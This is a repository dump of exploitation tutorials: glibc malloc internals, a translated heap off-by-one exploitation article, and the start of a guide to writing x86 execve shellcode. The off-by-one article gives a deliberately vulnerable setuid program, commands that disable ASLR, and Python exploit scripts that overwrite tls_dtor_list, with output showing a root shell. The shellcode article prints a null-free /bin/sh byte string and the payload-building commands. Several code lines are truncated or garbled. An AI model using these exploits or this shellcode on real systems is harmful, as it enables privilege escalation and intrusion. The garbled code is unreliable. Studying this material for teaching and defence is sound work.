bin也为空的话就交给unsorted bin处理: 73 | ``` c 74 | /* Maximum size of memory handled in fastbins. */ 75 | static INTERNAL_SIZE_T global_max_fast; 76 | 77 | /* offset 2 to use otherwise unindexable first 2 bins */ 78 | /*这里SIZE_SZ就是sizeof(size_t),在32位系统为4,64位为8,fastbin_index就是根据要malloc的size来快速计算该size应该属于哪一个fast bin, 79 | 即该fast bin的索引。因为fast bin中chunk是从16字节开始的,所有这里以8字节为单位(32位系统为例)有减2*8 = 16的操作!*/ 80 | #define fastbin_index(sz) \ 81 | ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) 82 | 83 | 84 | /* The maximum fastbin request size we support */ 85 | #define MAX_FAST_SIZE (80 * SIZE_SZ / 4) 86 | 87 | #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) 88 | ``` 89 | 90 | 那么fast bin 是在哪?怎么进行初始化的呢?当我们第一次调用malloc(fast bin)的时候,系统执行_int_malloc函数,该函数首先会发现当前fast bin为空,就转交给small bin处理,进而又发现small bin 也为空,就调用malloc_consolidate函数对malloc_state结构体进行初始化,malloc_consolidate函数主要完成以下几个功能: 91 | a. 首先判断当前malloc_state结构体中的fast bin是否为空,如果为空就说明整个malloc_state都没有完成初始化,需要对malloc_state进行初始化。 92 | b. malloc_state的初始化操作由函数malloc_init_state(av)完成,该函数先初始化除fast bin之外的所有的bins(构建双链表,详情见后文small bins介绍),再初始化fast bins。 93 | 94 | 然后当再次执行malloc(fast chunk)函数的时候,此时fast bin相关数据不为空了,就开始使用fast bin(见下面代码中的// 1 部分): 95 | ``` c 96 | static void * 97 | _int_malloc (mstate av, size_t bytes) 98 | { 99 | …… 100 | /* 101 | If the size qualifies as a fastbin, first check corresponding bin. 102 | This code is safe to execute even if av is not yet initialized, so we 103 | can try it without checking, which saves some time on this fast path. 104 | */ 105 | //第一次执行malloc(fast chunk)时这里判断为false,因为此时get_max_fast ()为0 106 | if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) 107 | { 108 | idx = fastbin_index (nb); // 1 109 | mfastbinptr *fb = &fastbin (av, idx); 110 | mchunkptr pp = *fb; 111 | do 112 | { 113 | victim = pp; 114 | if (victim == NULL) 115 | break; 116 | } 117 | while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))!= victim); // 2 118 | if (victim != 0) 119 | { 120 | if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) 121 | { 122 | errstr = "malloc(): memory corruption (fast)"; 123 | errout: 124 | malloc_printerr (check_action, errstr, chunk2mem (victim)); 125 | return NULL; 126 | } 127 | check_remalloced_chunk (av, victim, nb); 128 | void *p = chunk2mem (victim); 129 | alloc_perturb (p, bytes); 130 | return p; 131 | } 132 | } 133 | ``` 134 | 得到第一个来自于fast bin的chunk之后,系统就将该chunk从对应的fast bin中移除,并将其地址返回给用户,见上面代码//2 处。 135 | 6. free(fast chunk)操作:这个操作很简单,主要分为两步:先通过chunksize函数根据传入的地址指针获取该指针对应的chunk的大小;然后根据这个chunk大小获取该chunk所属的fast bin,然后再将此chunk添加到该fast bin的链尾即可。整个操作都是在_int_free函数中完成。 136 | 137 | 在main arena中Fast bins(即数组fastbinsY)的整体操作示意图如下图所示: 138 | ![](../pictures/heapmanager16.png) 139 | 140 | 图2-1 fast bin示意图 141 | 142 | ## 3 Unsorted bin 143 | 144 | 当释放较小或较大的chunk的时候,如果系统没有将它们添加到对应的bins中(为什么,在什么情况下会发生这种事情呢?详情见后文),系统就将这些chunk添加到unsorted bin中。为什么要这么做呢?这主要是为了让“glibc malloc机制”能够有第二次机会重新利用最近释放的chunk(第一次机会就是fast bin机制)。利用unsorted bin,可以加快内存的分配和释放操作,因为整个操作都不再需要花费额外的时间去查找合适的bin了。 145 | Unsorted bin的特性如下: 146 | 1. unsorted bin的个数: 1个。unsorted bin是一个由free chunks组成的循环双链表。 147 | 2. Chunk size: 在unsorted bin中,对chunk的大小并没有限制,任何大小的chunk都可以归属到unsorted bin中。这就是前言说的特例了,不过特例并非仅仅这一个,后文会介绍。 148 | 149 | ## 4 Small bin 150 | 151 | 小于512字节的chunk称之为small chunk,small bin就是用于管理small chunk的。就内存的分配和释放速度而言,small bin比larger bin快,但比fast bin慢。 152 | Small bin的特性如下: 153 | 1. small bin个数:62个。每个small bin也是一个由对应free chunk组成的循环双链表。同时Small bin采用FIFO(先入先出)算法:内存释放操作就将新释放的chunk添加到链表的front end(前端),分配操作就从链表的rear end(尾端)中获取chunk。 154 | 2. chunk size: 同一个small bin中所有chunk大小是一样的,且第一个small bin中chunk大小为16字节,后续每个small bin中chunk的大小依次增加8字节,即最后一个small bin的chunk为16 + 62 * 8 = 512字节。 155 | 3. 合并操作:相邻的free chunk需要进行合并操作,即合并成一个大的free chunk。具体操作见下文free(small chunk)介绍。 156 | 4. malloc(small chunk)操作:类似于fast bins,最初所有的small bin都是空的,因此在对这些small bin完成初始化之前,即使用户请求的内存大小属于small chunk也不会交由small bin进行处理,而是交由unsorted bin处理,如果unsorted bin也不能处理的话,glibc malloc就依次遍历后续的所有bins,找出第一个满足要求的bin,如果所有的bin都不满足的话,就转而使用top chunk,如果top chunk大小不够,那么就扩充top chunk,这样就一定能满足需求了(还记得上一篇文章中在Top Chunk中留下的问题么?答案就在这里)。注意遍历后续bins以及之后的操作同样被large bin所使用,因此,将这部分内容放到large bin的malloc操作中加以介绍。 157 | 那么glibc malloc是如何初始化这些bins的呢?因为这些bin属于malloc_state结构体,所以在初始化malloc_state的时候就会对这些bin进行初始化,代码如下: 158 | ``` c 159 | malloc_init_state (mstate av) 160 | { 161 | int i; 162 | mbinptr bin; 163 | 164 | /* Establish circular links for normal bins */ 165 | for (i = 1; i < NBINS; ++i) 166 | { 167 | bin = bin_at (av, i); 168 | bin->fd = bin->bk = bin; 169 | } 170 | …… 171 | } 172 | ``` 173 | 注意在malloc源码中,将bins数组中的第一个成员索引值设置为了1,而不是我们常用的0(在bin_at宏中,自动将i进行了减1处理…)。从上面代码可以看出在初始化的时候glibc malloc将所有bin的指针都指向了自己——这就代表这些bin都是空的。 174 | 过后,当再次调用malloc(small chunk)的时候,如果该chunk size对应的small bin不为空,就从该small bin链表中取得small chunk,否则就需要交给unsorted bin及之后的逻辑来处理了。 175 | 5. free(small chunk):当释放small chunk的时候,先检查该chunk相邻的chunk是否为free,如果是的话就进行合并操作:将这些chunks合并成新的chunk,然后将它们从small bin中移除,最后将新的chunk添加到unsorted bin中。 176 | 177 | ## 5 Large bin 178 | 大于512字节的chunk称之为large chunk,large bin就是用于管理这些large chunk的。 179 | Large bin的特性如下: 180 | 1) large bin的数量:63个。Large bin类似于small bin,只是需要注意两点:一是同一个large bin中每个chunk的大小可以不一样,但必须处于某个给定的范围(特例2) ;二是large chunk可以添加、删除在large bin的任何一个位置。 181 | 在这63个large bins中,前32个large bin依次以64字节步长为间隔,即第一个large bin中chunk size为512~575字节,第二个large bin中chunk size为576 ~ 639字节。紧随其后的16个large bin依次以512字节步长为间隔;之后的8个bin以步长4096为间隔;再之后的4个bin以32768字节为间隔;之后的2个bin以262144字节为间隔;剩下的chunk就放在最后一个large bin中。 182 | 鉴于同一个large bin中每个chunk的大小不一定相同,因此为了加快内存分配和释放的速度,就将同一个large bin中的所有chunk按照chunk size进行从大到小的排列:最大的chunk放在链表的front end,最小的chunk放在rear end。 183 | 2) 合并操作:类似于small bin。 184 | 3) malloc(large chunk)操作: 185 | 初始化完成之前的操作类似于small bin,这里主要讨论large bins初始化完成之后的操作。首先确定用户请求的大小属于哪一个large bin,然后判断该large bin中最大的chunk的size是否大于用户请求的size(只需要对比链表中front end的size即可)。如果大于,就从rear end开始遍历该large bin,找到第一个size相等或接近的chunk,分配给用户。如果该chunk大于用户请求的size的话,就将该chunk拆分为两个chunk:前者返回给用户,且size等同于用户请求的size;剩余的部分做为一个新的chunk添加到unsorted bin中。 186 | 如果该large bin中最大的chunk的size小于用户请求的size的话,那么就依次查看后续的large bin中是否有满足需求的chunk,不过需要注意的是鉴于bin的个数较多(不同bin中的chunk极有可能在不同的内存页中),如果按照上一段中介绍的方法进行遍历的话(即遍历每个bin中的chunk),就可能会发生多次内存页中断操作,进而严重影响检索速度,所以glibc malloc设计了Binmap结构体来帮助提高bin-by-bin检索的速度。Binmap记录了各个bin中是否为空,通过bitmap可以避免检索一些空的bin。如果通过binmap找到了下一个非空的large bin的话,就按照上一段中的方法分配chunk,否则就使用top chunk来分配合适的内存。 187 | 4) Free(large chunk):类似于small chunk。 188 | 189 | 了解上面知识之后,再结合下图5-1,就不难理解各类bins的处理逻辑了: 190 | ![](../pictures/heapmanager17.jpg) 191 | 192 | ## 6 总结 193 | 至此glibc malloc中涉及到的所有显式链表技术已经介绍完毕。鉴于篇幅和精力有限,本文没能详细介绍完所有的技术细节,但是我相信带着这些知识点再去研究glibc malloc的话,定能起到事半功倍的效果。 194 | 另外,就我个人所了解到的基于堆溢出攻击而言,掌握以上知识,已经足够理解绝大部分堆溢出攻击技术了。因此,后面的文章将会结合这些知识详细介绍各个攻击技术的实现原理。 195 | 老规矩:如有错误,欢迎斧正! 196 | 197 | ## Reference 198 | https://jaq.alibaba.com/community/art/show?spm=a313e.7916648.0.0.yAHEjl&articleid=334 -------------------------------------------------------------------------------- /Linux X86 漏洞利用系列/堆内off-by-one漏洞利用.md: -------------------------------------------------------------------------------- 1 | CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。 2 | 转载本文请务必注明,文章出处:《[Linux(X86)漏洞利用系列-Unlink堆溢出)](http://www.csyssec.org/20170104/heap-offbyone)》与作者信息:CSysSec出品 3 | 4 | 阅读基础: 5 | 栈内off-by-one漏洞 6 | [深入理解glibc malloc](../Linux%20系统底层知识/深入理解glibc%20malloc.md) 7 | 8 | VM Setup: Fedora 20(x86) 9 | 10 | ## 0X01 什么是off-by-one漏洞 11 | 12 | 在[这篇](http://www.csyssec.org/20161231/stackoffbyone/) 文中说过,当将源字符串拷贝到目的字符串时出现下述情况可能会发生off-by-one 13 | 14 | 源字符串长度等于目的字符串长度 15 | 当源字符串长度等于目的字符串长度时,单个NULL字节会被拷贝到目的字符串中。这里由于目的字符串处于堆中,单个NULL字节可以覆盖下一个chunk的头部信息,从而导致任意代码执行。 16 | 17 | 扼要重述:在[这篇](../Linux%20系统底层知识/深入理解glibc%20malloc.md) 文中说过,堆根据每个用户对堆内存的请求,被分为多个chunk.每个chunk有自己的chunk头部信息(由[malloc_chunk](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L1108) 表示)。 结构体malloc_chunk含有以下四个域: 18 | 19 | 1. prev_size - 若前一个chunk空闲,则prev_size域包含前一个chunk的大小信息;若前一个chunk已经被分配,则这个域包含前一个chunk的用户数据 20 | 2. size: size域含有这个已经分配的chunk。域的后3比特含有flag信息。 21 | [PREV_INUSE(P)](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L1267)- 当前一个chunk被分配时,此位被设置 22 | [IS_MMAPPED(M)](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L1274)- 当chunk被mmap了,此位被设置。 23 | [NON_MAIN_ARENA(N)](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L1283)- 当这个chunk属于一个线程arena时,此位被设置。 24 | 3. fd- 指向同一个bin中的下一个chunk 25 | 4. bk- 指向同一个bin中的前一个chunk 26 | 27 | 漏洞代码: 28 | 29 | ``` c 30 | //consolidate_forward.c 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #define SIZE 16 39 | int main(int argc, char* argv[]) 40 | { 41 | int fd = open("./inp_file", O_RDONLY); /* [1] */ 42 | if(fd == -1) { 43 | printf("File open error\n"); 44 | fflush(stdout); 45 | exit(-1); 46 | } 47 | if(strlen(argv[1])>1020) { /* [2] */ 48 | printf("Buffer Overflow Attempt. Exiting...\n"); 49 | exit(-2); 50 | } 51 | char* tmp = malloc(20-4); /* [3] */ 52 | char* p = malloc(1024-4); /* [4] */ 53 | char* p2 = malloc(1024-4); /* [5] */ 54 | char* p3 = malloc(1024-4); /* [6] */ 55 | read(fd,tmp,SIZE); /* [7] */ 56 | strcpy(p2,argv[1]); /* [8] */ 57 | free(p); /* [9] */ 58 | } 59 | ``` 60 | 编译命令: 61 | 62 | ``` 63 | #echo 0 > /proc/sys/kernel/randomize_va_space 64 | $gcc -o consolidate_forward consolidate_forward.c 65 | $sudo chown root consolidate_forward 66 | $sudo chgrp root consolidate_forward 67 | $sudo chmod +s consolidate_forward 68 | ``` 69 | 注意: 为了更好演示,已经关闭ASLR。如果你也想绕过ASLR,可以利用之前文章提到的信息泄露漏洞或暴力破解技术 。 70 | 71 | 注:本系列所有文章中第[N]行代码指的的代码中显示`/*[N]*/`的位置。 72 | 73 | 上述漏洞程序的第[2]和[8]行就是堆中off-by-one溢出可能发生的地方。目的缓冲区的长度是1020,因此源缓冲区长度也是1020的话就会导致任意代码执行。 74 | 75 | ## 0X02 如何做到任意代码执行 76 | 77 | 当单NULL字节覆盖下一个chunk(‘p3’)的chunk头部信息时就会发生任意代码执行。当1020字节的chunk(‘p2’)被单字节溢出时,是下一个chunk(‘p3’)头部大小的最小影响字节(Least Significant Byte),而不是prev_size的最小影响字节 被NULL字节覆盖。 78 | 79 | ## 0X03 为什么不是prev_size的最小影响字节(LSB)被覆盖 80 | 81 | 由于需要额外的空间来存储malloc_chunk以及为了对其的目的,[checked_request2size](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L1254) 将用户需求的大小转化为可用的大小(内部表示字节大小-internal representation size)。当可用大小的最后3个比特都没有被设置时会发生这种转化,这3个比特用来存储flag信息 P,M与N。 82 | 83 | 上漏洞代码执行到malloc(1020)时,1020字节的用户需求大小被转化为((1020 + 4 + 7) & ~7) 1024字节(内部表示字节大小)。分配1020字节的chunk开销只要4字节。但对于一个分配的chunk我们却需要8字节的chunk头部信息用来存储prev_size和size信息。1024字节的chunk前8个字节用作chunk头部信息,但现在只剩下1016(1024-8)字节(而不是1020字节)用来存储用户数据。如上面说的prev_size的定义,如果前一个chunk(‘p2’)被分配,chunk(‘p3’)的prev_size域含有用户数据。chunk(‘p3’)的prev_size紧邻已经分配的chunk(‘p2’),其含有用户数据剩下的4字节。这就是为什么size(而不是pre_size)的LSB被NULL字节覆盖的原因了。 84 | 85 | 堆布局: 86 | ![](../pictures/heapoffbyone1.png) 87 | 88 | 注意: 上图中的攻击者数据指的是下文中提到的”覆盖 tls_dtor_list” 89 | 90 | 现在回到我们一开始的问题 91 | 92 | ### 如何做到任意代码执行 93 | 94 | 现在我们已经知道在off-by-one漏洞中,单NULL字节覆盖下一个chunk(‘p3’) size域的LSB。单NULL字节覆盖意味着chunk(‘p3’)的flag信息被清除了。 被覆盖的chunk(‘p2’)尽管处于已经被分配的状态,现在却变得空闲了。当在溢出的chunk (‘p2)前的(‘p’)被释放时,这种状态不一致性驱使glibc去unlink 已经处于分配状态的chunk(‘p2’) 95 | 96 | 在[这篇](http://www.csyssec.org/20170104/heapoverflow-unlink/) 文章中,由于任何四字节的内存区域都能被写上攻击者的数据,unlink一个已经在分配状态的chunk会导致任意代码执行 97 | !在同一篇文中,我们也知道由于glibc近些年的被强化,unlink技术已经过时了! 尤其是当“[损坏的双链表](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L1414) ”这个条件成立时,任意代码执行是不可能的。 98 | 99 | 在2014年后期, [google’s project zero team](http://googleprojectzero.blogspot.in/2014/08/the-poisoned-nul-byte-2014-edition.html) 发现一种通过unlink一个大的chunk(large chunk)的方法,可以成功绕过”损坏的双链表”条件。 100 | 101 | Unlink: 102 | ``` c 103 | #define unlink(P, BK, FD) { 104 | FD = P->fd; 105 | BK = P->bk; 106 | // Primary circular double linked list hardening - Run time check 107 | if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */ 108 | malloc_printerr (check_action, "corrupted double-linked list", P); 109 | else { 110 | // If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!! 111 | FD->bk = BK; /* [2] */ 112 | BK->fd = FD; /* [3] */ 113 | if (!in_smallbin_range (P->size) 114 | && __builtin_expect (P->fd_nextsize != NULL, 0)) { 115 | // Secondary circular double linked list hardening - Debug assert 116 | assert (P->fd_nextsize->bk_nextsize == P); /* [4] */ 117 | assert (P->bk_nextsize->fd_nextsize == P); /* [5] */ 118 | if (FD->fd_nextsize == NULL) { 119 | if (P->fd_nextsize == P) 120 | FD->fd_nextsize = FD->bk_nextsize = FD; 121 | else { 122 | FD->fd_nextsize = P->fd_nextsize; 123 | FD->bk_nextsize = P->bk_nextsize; 124 | P->fd_nextsize->bk_nextsize = FD; 125 | P->bk_nextsize->fd_nextsize = FD; 126 | } 127 | } else { 128 | // If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!! 129 | P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */ 130 | P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */ 131 | } 132 | } 133 | } 134 | } 135 | ``` 136 | 在glibc malloc中,主环形双链表由malloc_chunk的fs和bk域来维护,而次环形双链表由malloc_chunk的fd_nextsize和bk_nextsize域来维护。这看起来像是损坏的双链表hardening被应用到了主环形双链表(第[1]行)和次环形双链表中(第[4],[5]行),但次要环形双链表的hardening仅仅是一个debug assert语句(不像是主环形双链表hardening会在运行时进行检查),它最终并不会编译到产品中(至少在fedora是这样的)。次要环形双链表的强化(hardening)(第[4],[5]行)并没有什么意义,这可以让我们在4字节的内存区域中写任何数据(第[6],[7]行)。 137 | 138 | 仍然还有一些东西要讲明白一些。我们来看看如何通过unlink一个大的chunk来做到任意代码执行的细节! 现在攻击者已经控制住即将要被释放的大chunk,他以下面方式覆盖malloc_chunk中的域: 139 | 140 | * fd必须指回到已经被释放的chunk地址来绕过主环形双链表的hardening 141 | * bk也必须指回到已经被释放的chunk地址来绕过主环形双链表的hardening 142 | * fd_nextsize 必须指向 free_got_addr -0x14 143 | * bk_nextsize 必须指向system_addr 144 | 145 | 但第[6],[7]行需要fd_nextsize和bk_nextsize是可写的。fd_nextsize指向 free_got_addr -0x14,所以它是可写的。但bk_nextsize指向system_addr,这属于libc.so的text段区域,所以它是不可写的。要让fd_nextsize和bk_nextsize同时可写,需要覆盖tls_dtor_list 146 | 147 | ## 0X04 覆盖tls_dtor_list 148 | [tls_tor_list](https://github.com/sploitfun/lsploits/blob/master/glibc/stdlib/cxa_thread_atexit_impl.c#L32) 是一个线程本地变量,含有一个函数指针列表,在执行exit()时会被调用。 [__call_tls_dtors](https://github.com/sploitfun/lsploits/blob/master/glibc/stdlib/cxa_thread_atexit_impl.c#L81)() 遍历tls_dtor_list并一个一个 [调用](https://github.com/sploitfun/lsploits/blob/master/glibc/stdlib/cxa_thread_atexit_impl.c#L88) 其中的函数!所以如果我们能利用一个含有system和system_arg的堆地址覆盖tls_dtor_list,来替换[dtor_list](https://github.com/sploitfun/lsploits/blob/master/glibc/stdlib/cxa_thread_atexit_impl.c#L24)中的func和obj, system() 就能被调用。 149 | 150 | ![](../pictures/heapoffbyone2.png) 151 | 152 | 153 | 154 | 现在攻击者通过以下方式覆盖即将要释放的大chunk中的malloc_chunk里面的域信息: 155 | 156 | * fd必须指回到已经被释放的chunk地址来绕过主环形双链表的hardening 157 | * bk也必须指回到已经被释放的chunk地址来绕过主环形双链表的hardening 158 | * fd_nextsize 必须指向 tls_dtor_list -0x14 159 | * bk_nextsize 必须指向含有dtor_list元素的堆地址 160 | 161 | 让fd_nextsize变成可写的问题解决了。那是因为tls_dtor_list属于libc.so的可写段,并且通过反汇编_call_tls_dtors(),可以得到tls_dtor_list的地址是0xb7fe86d4 162 | 163 | 由于bk_nextsize指向堆地址,让它变成可写的问题也解决了。 164 | 165 | 利用所有这些信息,我们可以写个漏洞利用程序来攻击’consolidate_forward’了! 166 | 167 | 漏洞利用代码: 168 | 169 | ``` python 170 | #exp_try.py 171 | #!/usr/bin/env python 172 | import struct 173 | from subprocess import call 174 | fd = 0x0804b418 175 | bk = 0x0804b418 176 | fd_nextsize = 0xb7fe86c0 177 | bk_nextsize = 0x804b430 178 | system = 0x4e0a86e0 179 | sh = 0x80482ce 180 | #endianess convertion 181 | def conv(num): 182 | return struct.pack(" inp_file 197 | $ python exp_try.py 198 | Calling vulnerable program 199 | sh-4.2$ id 200 | uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 201 | sh-4.2$ exit 202 | exit 203 | $ 204 | ``` 205 | 206 | ## 0X05 为什么没能获取root shell 207 | 208 | 当 `uid != euid` 时,/bin/bash会丢弃权限。我们的二进制文件 ’consolidate _forward’ 的真实uid=1000,有效uid=0。 由于真实uid!=有效uid,因此当 system() 被调用时,bash会丢弃权限。为了解决这个问题,我们需要在执行system()之前调用setuid(0),由于_call_tls_dtors 遍历 tls_dtor_list 并一个一个调用其中的函数,我们需要链接 setuid() 和 system() 。 209 | Full Exploit Code: 210 | ``` python 211 | #gen_file.py 212 | #!/usr/bin/env python 213 | import struct 214 | 215 | #dtor_list 216 | setuid = 0x4e123e30 217 | setuid_arg = 0x0 218 | mp = 0x804b020 219 | nxt = 0x804b430 220 | 221 | #endianess convertion 222 | def conv(num): 223 | return struct.pack(" inp_file 260 | $ python exp.py 261 | Calling vulnerable program 262 | sh-4.2# id 263 | uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 264 | sh-4.2# exit 265 | exit 266 | $ 267 | ``` 268 | Our off-by-one vulnerable code consolidates chunks in forward direction, similarly chunks can also be consolidated in backward direction. Such off-by-one vulnerable codes which consolidates chunks in backward direction can also be exploited!! 269 | 270 | ## Reference 271 | [Hiroki Matsukuma](https://www.slideshare.net/codeblue_jp/cb16-matsukuma-en-68459606) -------------------------------------------------------------------------------- /Linux 系统底层知识/Born A Shell.md: -------------------------------------------------------------------------------- 1 | 原文 by [gbmaster](https://gbmaster.wordpress.com) 2 | 3 | The next step in the exploitation is to spawn a shell by writing a shellcode that does it and using it to exploit a buffer overflow vulnerability. To do this it is necessary to use the execve system call exported by the Linux kernel: the function is listed in the unistd.h file and it is associated to the number 11. This function transfers the execution flow to the program specified in the arguments and, unless an error during the initialization happens, never returns to the caller. The parameters required by this system call are the following: 4 | 5 | * Pathname of the executable in EBX 6 | * Address of the argv vector in ECX 7 | * Address of the envp vector in EDX (it will be NULL here) 8 | 9 | So, a sketch of the shellcode could be the following: 10 | ``` asm 11 | section .data 12 | 13 | sh_str db '/bin/sh' 14 | null_ptr db 0 15 | 16 | section .text 17 | 18 | global _start 19 | 20 | _start: 21 | mov eax, 11 ; execve system call number 22 | mov ebx, sh_str ; address of the pathname 23 | 24 | push 0 ; argv[1] 25 | push sh_str ; argv[0] 26 | 27 | mov ecx, esp ; pointer to the argv vector 28 | xor edx, edx ; NULL envp 29 | int 0x80 ; execute execve 30 | 31 | mov al, 1 ; set up an exit call, just in case 32 | xor ebx, ebx 33 | int 0x80 ; exit(0) 34 | ``` 35 | This code spawns a shell and passes no arguments to the function itself. Objdump, please: 36 | ``` 37 | $ objdump -d payload -M intel 38 | 39 | shellcode: file format elf32-i386 40 | 41 | 42 | Disassembly of section .text: 43 | 44 | 08048080 <_start>: 45 | 8048080: b8 0b 00 00 00 mov eax,0xb 46 | 8048085: bb a0 90 04 08 mov ebx,0x80490a0 47 | 804808a: 6a 00 push 0x0 48 | 804808c: 68 a0 90 04 08 push 0x80490a0 49 | 8048091: 89 e1 mov ecx,esp 50 | 8048093: 31 d2 xor edx,edx 51 | 8048095: cd 80 int 0x80 52 | 8048097: b0 01 mov al,0x1 53 | 8048099: 31 db xor ebx,ebx 54 | 804809b: cd 80 int 0x80 55 | ``` 56 | Then again, we’ll have to remove all the null bytes and the references to variables in the data section. Also there’s the 0x0b byte (ASCII for vertical tab) which is interpreted as a separator by scanf (with these functions, it is better to avoid 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x1A and 0x20). Anyway, I decided to get rid of the references to the string in a funny way, this time, just to learn a new technique. The string “/bin//sh” actually has the same effect of “/bin/sh” and this is perfectly testable in a Linux console. Why doing this? Because the length “/bin//sh” is a multiple of 4 and we can put this string (in reversed form) in the stack by using push instructions and, then, retrieving the address through the ESP register. I know this is a little bit confusing, but probably seeing the code would be more clear: 57 | ``` asm 58 | global _start 59 | 60 | _start: 61 | sub esp, 0x7F 62 | 63 | xor eax, eax ; EAX = 0 64 | 65 | push eax ; argv[1] = 0 66 | push 0x68732f2f ; "hs//" 67 | push 0x6e69622f ; "nib/" 68 | mov ebx, esp ; address of the pathname 69 | 70 | push eax 71 | mov edx, esp ; NULL envp 72 | 73 | push ebx 74 | mov ecx, esp ; pointer to the argv vector 75 | 76 | add al, 5 77 | add al, 6 ; EAX = 11 78 | 79 | int 0x80 ; execute execve 80 | 81 | mov al, 1 82 | xor ebx, ebx 83 | int 0x80 84 | ``` 85 | So, the shellcode is NULL-free and doesn’t have references to anything outside the text section. Why the SUB instruction at the beginning? Well, it’s more for security reasons: you should not forget that **the shellcode goes into the stack and we’re executing a lot of PUSH instructions here**. This means that **one of these PUSH instructions might overwrite the shellcode itself** (believe me, it happens). Anyway, the final result can be checked with objdump, again: 86 | ``` 87 | 88 | $ objdump -d shellcode -M intel 89 | 90 | shellcode: file format elf32-i386 91 | 92 | 93 | Disassembly of section .text: 94 | 95 | 08048060 <_start>: 96 | 8048060: 83 ec 7f sub esp,0x7f 97 | 8048063: 31 c0 xor eax,eax 98 | 8048065: 50 push eax 99 | 8048066: 68 2f 2f 73 68 push 0x68732f2f 100 | 804806b: 68 2f 62 69 6e push 0x6e69622f 101 | 8048070: 89 e3 mov ebx,esp 102 | 8048072: 50 push eax 103 | 8048073: 89 e2 mov edx,esp 104 | 8048075: 53 push ebx 105 | 8048076: 89 e1 mov ecx,esp 106 | 8048078: 04 05 add al,0x5 107 | 804807a: 04 06 add al,0x6 108 | 804807c: cd 80 int 0x80 109 | 804807e: b0 01 mov al,0x1 110 | 8048080: 31 db xor ebx,ebx 111 | 8048082: cd 80 int 0x80 112 | ``` 113 | So, by repeating the procedure already seen in the previous post, it is possible to complete the payload. First step: identifying the byte sequence of the shellcode. 114 | ``` 115 | “\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80” 116 | ``` 117 | 118 | It’s time to write it into a file that will be used as input of the program: 119 | ``` 120 | $ python -c 'import sys; sys.stdout.write("\x90"*(64-36xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80")' > payload 121 | ``` 122 | Second step: appending a dummy value for the EBP 123 | ``` 124 | $ python -c 'import sys; sys.stdout.write("BBBB> payload 125 | ``` 126 | Third step: adding the address of the password variable (and we already know that, by the previous post): 127 | ``` 128 | $ python -c 'import sys; sys.stdout.write("\x70\xd2\xff\xff> payload 129 | ``` 130 | Fourth step: test it, just like we did before! 131 | ``` 132 | $ echo $$ 133 | 23315 134 | $ ./example1 < payload 135 | $ echo $$ 136 | 23315 137 | ``` 138 | Same process ID. Mmm… This means it **didn’t work**, but why? If I test the shellcode by itself it works, so why shouldn’t it work when used as input of the program? Well, this has more to do with the program itself than with the shellcode. In fact, the scanf function I used to retrieve the console input flushes stdin in such a way that /bin/sh receives an EOF and quits. But this makes everything we did USELESS. Hell! No worries, as it is possible to rearrange it in a slightly different way: 139 | ``` 140 | $ echo $$ 141 | 23315 142 | $ ( cat payload; cat ) | ./example1 143 | 144 | echo $$ 145 | 20868 146 | whoami 147 | user 148 | ls 149 | example1 example1.c exploit payload shellcode shellcode.asm shellcode.o 150 | ``` 151 | Even if we don’t have shell prompt (as the stdin of the shell is not connected to a terminal, sh acts like it is not running in interactive mode), the shell has been spawned and actually replies to commands. 152 | 153 | That’s it! 154 | 155 | A worthful modification to the example1 source code is shortening the password array size from 64 to 10: in this way there’s not enough space to host the shellcode we designed. We need now 10+4+4 bytes to overflow the buffer, overwrite the saved EBP value and overwrite the return address. By attaching gdb to the running example1 process (just like in the previous post), I found out that now the password buffer is located at 0xFFFFD296. The way the following acts relies on the environment variables, as, in Linux, every program stores them on the stack: we can create one storing the shellcode and then jump there in a similar way saw before. 156 | 157 | Yes, yes, this is all doable, but we need to know the address where a given environment variable will be located when a program is loaded. To do this, there’s a nice piece of code taken from the wonderful book “Hacking: The Art of Exploitation, 2nd Edition“, called getenvaddr.c: 158 | ``` c 159 | 160 | #include 161 | #include 162 | #include 163 | 164 | int main(int argc, char *argv[]) 165 | { 166 | char *ptr; 167 | if(argc < 3) 168 | { 169 | printf("Usage: %s \n", argv[0]); 170 | return 0; 171 | } 172 | 173 | ptr = getenv(argv[1]); /* Get env var location. */ 174 | ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; /* Adjust for program name. */ 175 | printf("%s will be at %p\n", argv[1], ptr); 176 | 177 | return 0; 178 | } 179 | ``` 180 | So, getenvaddr accepts 